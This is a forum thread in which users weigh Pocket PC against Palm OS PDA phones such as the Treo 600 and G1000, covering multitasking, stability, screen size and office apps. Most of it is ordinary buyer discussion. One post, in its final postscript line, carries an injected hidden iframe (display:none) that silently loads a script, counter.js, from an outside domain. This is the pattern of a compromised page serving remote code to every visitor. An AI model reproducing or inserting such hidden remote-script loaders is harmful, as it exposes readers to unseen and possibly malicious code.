Just wanted to get input on using Pocket PC pdaPhones versus Palm OS pdaPhones. I haven't owned either yet and my search has narrowed between one of each at the moment.

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Tech Diva

I have found the Pocket PC 2002 OS to be severely inferior to Palm OS 5.2 when it comes to smartphone functionality. Pocket PC 2002 gives you nothing that PalmOS 5.2 cannot give you. Palm OS smartphones typically give you the functionality in a smaller, faster, leaner design as well. I was a G1000 owner and am now a Treo 600 owner. No comparison...G1000 was an ugly beast that was LESS functional than the Treo 600 in many ways.

Thanks Ice Blade -
Great input about the PPC vs. Palm/Hitachi vs. Treo debate. Eveyone keeps saying that the PPC is so much better and stronger than the Palm OS but your comments and a couple of others from other web forums seem to highly favor the Palm OS. I love the size of the Treo 600 but thought the Microsoft Office capabilities of the Hitachi might be more effective.... seems that Treo & Palm win hands and handhelds down.

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Tech Diva

I started my quest with PDAs in 1995 with the Palm Professional. From there I moved to a PPC based HP Jornada 548 and 820 (I still have the 820). When the first Kyocera 6035 came out, I swithced back to the Palm OS and have never looked back. I then realized the simplistic elegance of the Palm OS. Since then I have had the I300, T300 and now the T600. I dont think I could ever go back to a PPC device.

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Carl

carl has a bad taste in h is mouth when it comes to ppc...

i had smartphones way back in 1994 with the Simon/IBM PIM phone. it had a pcmcia slot, fax, addy book, contacts, games, and a large, toch screen! it was nice and huge... makes the G look like the treo 6..

anyway, the short of it is it depeneds on what functionality you are looking for. the ppc platform makes a seamless connection to your desktop (power point, outlook, pocket IE..etc..) and if you want PC functionality in your handheld, then the current ppc phones (i700, G1K) do a great job.

if you dont need al of that, then just grab the palm.. it works well on its own and the small sizes are attractive for most "new" users who are used to small phones anyway...

i got the 6035 back on march 2001, then the i300 in oct 2001, then the i330 in oct. 2002 and now i have the G1K and i could not be any happier... i just got tired of the palm platform and wanted to conquer another platform.. PPC is nice...

I agree Marc,

I had the palm (and still do) on another phone. Palm OS does what it needs to do and I think the majority appreicate its funcitionalities.

AS for the rest of us, having that ppc / windoz enviroment and flexibility make the g1000 or i700 great phones.

I visited this issue many times and you just come to the fork in the road.......basics or basics + expansions. The risk of expansions is always going to have a downfall, which ppc does but hey, we love it anyway.

I have used both extensively, and they each have there advantages. Pocket PC is Windows, and as such I found it to not be quite as stable as Palm... but that is going to vary by device. I have seen Pocket PCs that were solid and Palm devices that weren't, and the reverse. But, in general I think that Palm is more stable. That is really kind of a nit.

Currently, Pocket PC is multitasking and Palm is not. In some cases you don't realize it, because for example, you can have an MP3 playing, while you look up a contact... or you can be on the phone, while you are looking in a database. But, it isn't multitasking. I have run into a limitation because I want to be able to do Mapopolis (GPS and Navigation), Pocket Tunes (MP3), and the Phone, at the same time. I can do this fine on a Pocket PC, but in Palm some things get stopped when you switch between them.... still very cool and usable, but not as slick as Pocket PC... so the multitasking can be a real constraint.

Screen size is a limiation of the Pocket PC. Yes, I said it is a limitation. Microsoft forces a minimum size, which means that you can't make a Pocket PC Phone smaller.... you just can't do it. Why? Don't know. Imagine a Treo 600 sized Pocket PC Phone with a 320x320 display the size of the Treo's. That would be cool, but it isn't going to happen. Microsoft has defined Smartphone (small) and Pocket PC or Windows Mobile now (big). Just like with Little Red Riding Hood, perhaps the "just right" is in the middle... right where the Treo 600 is sitting. All of that said, the larger displays let you do a lot more with Pocket PC. But, I think you could do that on Palm if you had a higher res display like on the Clies.

Usability between Palm and Pocket PC to me is like Mac and PC. I feel like I'm a layer removed from where I want to be in Palm, while I have a familar file manager type structure in Pocket PC. I'm sure there are utilities to overcome this, but I haven't used them.

In the past, expansion went heavily to the Pocket PC side... but recently we are seeing expansion cards and more memory on Palm The lines are getting closer I think.

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Mike - Been Converged?

Wow, all of you have given me alot of inciteful input to mull over about the PPC/Palm debate!

I'm drawn to the functionality of the G1000 PPC and with your salient input on multi-tasking it certainly makes it more attractive. I'm also still very interested in th Palm Treo 600, due to the form factor and plethora of applications available.

After hearing all your thoughts and experiences I realize I have to do some serious PDA soul searching to come to terms with my real wants and needs. (Of course, I want everything, but my real world needs are more pedestiran.....though I do drive alot (Ha!)

Two questions.....1)by Unstable do you mean that the PPC crashes more than the Palm?
2) Do you think Documents to go for Palm works well or not?

I'm so glad I finally found this site...I've been researching for a PDA phone for at least a year or more and this the only place I've found where all the data and really helpful discussions are all in the same site.

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Tech Diva

Thanks for the kind words... I think we are unique in that we aren't just about one device. Ask a question like this one at a site like that you'll get a biased answer, and/or attacked. Hopefully that will never happen here.

My unstable comment was in a general sense, and a minor difference. I wouldn't worry that much about that one. My Treo has locked up a few times, and so did the G1000... it happens. Hopefully, not while you are on an important call.

With regard to office documents, it is interesting. Pocket Word and Excel that are part of Pocket PC are not that great, and they use a different file format than the desktop. It all works automagically when you sync files, but there are some differences. For my needs they worked fine, but if you are into heavy MS Office type work, you may find them week. The Palm based tools .. Documents2Go and QuickOffice are both pretty highly rated, and I believe use native file formats. Check them out in your research.

Regardless of platform, pdaPhones are extremely personal. How you use it will be different than everyone else. Unlike PDAs where all Pocket PCs are the same, and all Palms are the same... for the most part, with pdaPhones, they are all different. You are wise to do research.

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Mike - Been Converged?

Yes, it's a tough decision. And there are trade-offs that have to be made whichever way you go. But I don't think you can really go wrong with either the G1000 or Treo 600

Please keep us informed as you make your choice!

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Please visit my picture site: Robert-O-Rama :)

Thanks again for your guidance in my search for the perfect compromise on a PDA phone. But it's great to have choices. Unfortunately, most of my friends are waiting for me to lead the way on this choice (Oh the pressure). But I'm sending them to your site now, so they'll have better input than just mine.

Per you suggetion I'm going to CompUSA & Sprint today to hold the Treo 600 & G1000 to compare the heft factor...so I'll let you know if my carpal Tunnel gets worse from the G1000.

By the way Mike, so glad you liked my USERID. After I picked it I thought it might be a bit pretentious (OK a lot), considering how little I feel know about Tech (even though I write & produce for Tech websites...go figure) But hopefully, with your input and the other plugged-in techies on your site my learning curve will get extra RAM.

P.S. ON Another subject entirely: Do you know any sites I can go to check out the problem I'm having getting the Internet with my Sprint YISO PCMIA card vs. using a cellphone & cable? (I've tried all the regular avenues with no success).<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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Tech Diva

FYI, my G1K has not locked up once and i have it overclocked. my old palms have locked up once or twice because of applications...

its also worht noting that the palm environment is not buggy as a whole.. its the converged device coupled with 3rd party hacks thats causes the problem.
the pda phones are more sensitive than a conventional palm device and this is the major reason for the lockups...

now...

as for your aircard issue, i have the sprint aircard and i use it everyday. what problems do you seem to be having? you can pm me off list if you desire....

You overclocked the G1000?? How did you acheive that?